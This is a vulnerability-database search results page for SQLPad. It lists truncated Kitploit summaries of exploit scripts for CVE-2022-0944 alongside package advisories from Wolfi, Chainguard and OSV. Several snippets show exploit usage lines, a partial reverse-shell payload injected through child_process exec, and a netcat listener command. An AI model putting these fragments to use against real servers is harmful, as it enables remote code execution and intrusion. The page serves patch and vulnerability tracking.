Lucene search
+L

128 matches found

Kitploit
Kitploit
added 2026/09/16 9:45 a.m.10 views

CVE-2022-0944

CVE-2022-0944 SQLPad - Inyección de plantillas Esta es una vulnerabilidad ciega, lo que significa que la salida se devuelve directamente en la respuesta. Exploit Usa el script con el siguiente comando: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin...

9.1CVSS8AI score0.08669EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/16 12:53 a.m.17 views

CVE-2022-0944

CVE-2022-0944 PoC PoC for RCE in SQLPad. This example spawns a reverse shell, but the payload can be modified to run any command available by changing the command in the 'exec' call within the payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...

9.1CVSS8AI score0.08669EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/14 7:14 p.m.9 views

CVE-2022-0944

CVE-2022-0944 A proof of concept exploit for SQLPad RCE CVE-2022-0944 Usage root@kitploit: usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username option...

9.1CVSS8.1AI score0.08669EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/14 1:43 p.m.7 views

sqlpad-rce-exploit-CVE-2022-0944

Exploit de RCE en SQLPad Este repositorio contiene un script de explotación para CVE-2022-0944 en SQLPad, una vulnerabilidad que permite la ejecución remota de código RCE a través del endpoint /api/test-connection. Resumen El script proporcionado exploit.py demuestra cómo explotar la vulnerabilid...

9.1CVSS8AI score0.08669EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/13 2:34 p.m.9 views

CVE-2022-0944_RCE_POC

CVE-2022-0944 针对 SQLPad RCE CVE-2022-0944 的概念验证利用,可在攻击者 PC 上实现带反弹 Shell 的远程代码执行(RCE)。 用法 root@kitploit: usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell 示例: root@kitploit: 触发利用 ./script.py...

9.1CVSS8.1AI score0.08669EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/13 2:04 p.m.8 views

SQLPad-RCE-Exploit-CVE-2022-0944

Cómo funciona: Este código PHP está diseñado para explotar una vulnerabilidad de Ejecución Remota de Código RCE en SQLPad , relacionada con CVE-2022-0944. Funciona inyectando código malicioso en la aplicación SQLPad, forzándola a ejecutar un comando del sistema que abre una reverse shell – una...

9.1CVSS8.2AI score0.08669EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/12 3:52 p.m.9 views

SQLPad-6.10.0-Exploit-CVE-2022-0944

SQLPad 6.10.0 漏洞利用 CVE-2022-0944 此 Bash 脚本利用 SQLPad 6.10.0 中的 RCE 漏洞,通过滥用 SQLPad 的 MySQL 数据库连接设置中的 host 和 database 字段,实现远程代码执行(RCE)。该漏洞利用 SQLPad 对 Node.js 中 childprocess 模块的不安全处理,执行任意命令,最终在攻击者机器上开启一个反向 shell。 前提条件 1. Netcat 监听器 :确保在你的机器上使用 nc -lvnp 9001 启动了一个监听器。 2. 目标服务器访问权限 :此漏洞利用假设你能够与易受攻击的...

9.1CVSS8.6AI score0.08669EPSS
SaveExploits12
Wolfi
Wolfi
added 2026/09/06 2:53 a.m.11 views

GHSA-RGWJ-5XJ2-C3M3 vulnerabilities

Vulnerabilities for packages: sqlpad...

5.8AI score
SaveExploits0
Wolfi
Wolfi
added 2026/09/05 8:58 p.m.20 views

GHSA-6GMQ-8VP8-GCM6 vulnerabilities

Vulnerabilities for packages: sqlpad...

5.6AI score
SaveExploits0
Wolfi
Wolfi
added 2026/09/05 8:58 p.m.12 views

CVE-2026-83610 vulnerabilities

Vulnerabilities for packages: sqlpad...

6.3CVSS5.8AI score0.00355EPSS
SaveExploits0
Chainguard
Chainguard
added 2026/09/03 8:24 p.m.15 views

GHSA-3F6P-5WW8-9RCR vulnerabilities

Vulnerabilities for packages: sqlpad, azurite...

5.7AI score
SaveExploits0
Wolfi
Wolfi
added 2026/09/03 8:24 p.m.11 views

GHSA-3F6P-5WW8-9RCR vulnerabilities

Vulnerabilities for packages: sqlpad...

5.9AI score
SaveExploits0
Wolfi
Wolfi
added 2026/08/14 8:23 a.m.24 views

GO-2024-2918 vulnerabilities

Vulnerabilities for packages: k8sgpt, rekor, spire-server, trivy, wal-g, chezmoi, hugo, velero, grafana-mimir, zarf, zot, secrets-store-csi-driver-provider-azure, policy-controller, falcoctl, argo-workflows, fluent-bit-plugin-loki, flux-image-reflector-controller, terragrunt, bank-vaults,...

5.7AI score
SaveExploits0
OSV
OSV
added 2026/08/13 12:10 p.m.13 views

CLEANSTART-2026-OX91928 Security fixes in sqlpad 7.5.7-r5

Package sqlpad version 7.5.7-r5 fixes 1 vulnerabilities: ghsa-r292-9mhp-454m...

5.3AI score
SaveExploits0References1
OSV
OSV
added 2026/08/13 12:10 p.m.8 views

CLEANSTART-2026-AG43501 Security fixes in sqlpad 7.5.7-r2

Package sqlpad version 7.5.7-r2 fixes 26 vulnerabilities: ghsa-2v35-w6hq-6mfw, ghsa-f6ww-3ggp-fr8h, ghsa-wh4c-j3r5-mjhp, ghsa-x6wf-f3px-wcqx, ghsa-j759-j44w-7fr8...

9.8CVSS6.2AI score0.00643EPSS
SaveExploits7References1
OSV
OSV
added 2026/08/13 12:10 p.m.8 views

CLEANSTART-2026-VJ19248 Security fixes in sqlpad 7.5.7-r3

Package sqlpad version 7.5.7-r3 fixes 26 vulnerabilities: ghsa-2v35-w6hq-6mfw, ghsa-f6ww-3ggp-fr8h, ghsa-wh4c-j3r5-mjhp, ghsa-x6wf-f3px-wcqx, ghsa-j759-j44w-7fr8...

9.8CVSS5.3AI score0.00643EPSS
SaveExploits7References1
OSV
OSV
added 2026/08/13 12:10 p.m.7 views

CLEANSTART-2026-PY70964 Security fixes in sqlpad 7.5.7-r4

Package sqlpad version 7.5.7-r4 fixes 2 vulnerabilities: ghsa-v422-hmwv-36x6, CVE-2026-12590...

5.9CVSS5AI score0.00412EPSS
SaveExploits0References1
Chainguard
Chainguard
added 2026/08/07 8:22 p.m.20 views

GHSA-5P4M-2WFM-XMQJ vulnerabilities

Vulnerabilities for packages: unleash, pulumi, opensearch-dashboards-fips, kubeflow-katib, langfuse-fips, unleash-fips, vitess, eslint, gitlab-rails-ce-fips, opensearch-dashboards, redisinsight, authentik-fips, ts-patch, argo-workflows, mongod, prism, foxx-cli, langfuse, gitlab-rails-ce, awx, saf...

5.7AI score
SaveExploits0
Wolfi
Wolfi
added 2026/08/07 8:21 p.m.22 views

GHSA-5P4M-2WFM-XMQJ vulnerabilities

Vulnerabilities for packages: opensearch-dashboards, lerna, pulumi, ts-patch, sqlpad, renovate, jitsucom-jitsu, langfuse, prism, code-server, saf, argo-workflows, kubeflow-katib, vitess, eslint...

5.7AI score
SaveExploits0
OSV
OSV
added 2026/07/30 7:10 a.m.9 views

CLEANSTART-2026-MV28194 Security fixes in sqlpad 7.5.7-r1

Package sqlpad version 7.5.7-r1 fixes 4 vulnerabilities: CVE-2026-24842, CVE-2026-25547, CVE-2025-57350, CVE-2026-2391...

9.2CVSS6.5AI score0.00563EPSS
SaveExploits2References1
Rows per page
Query Builder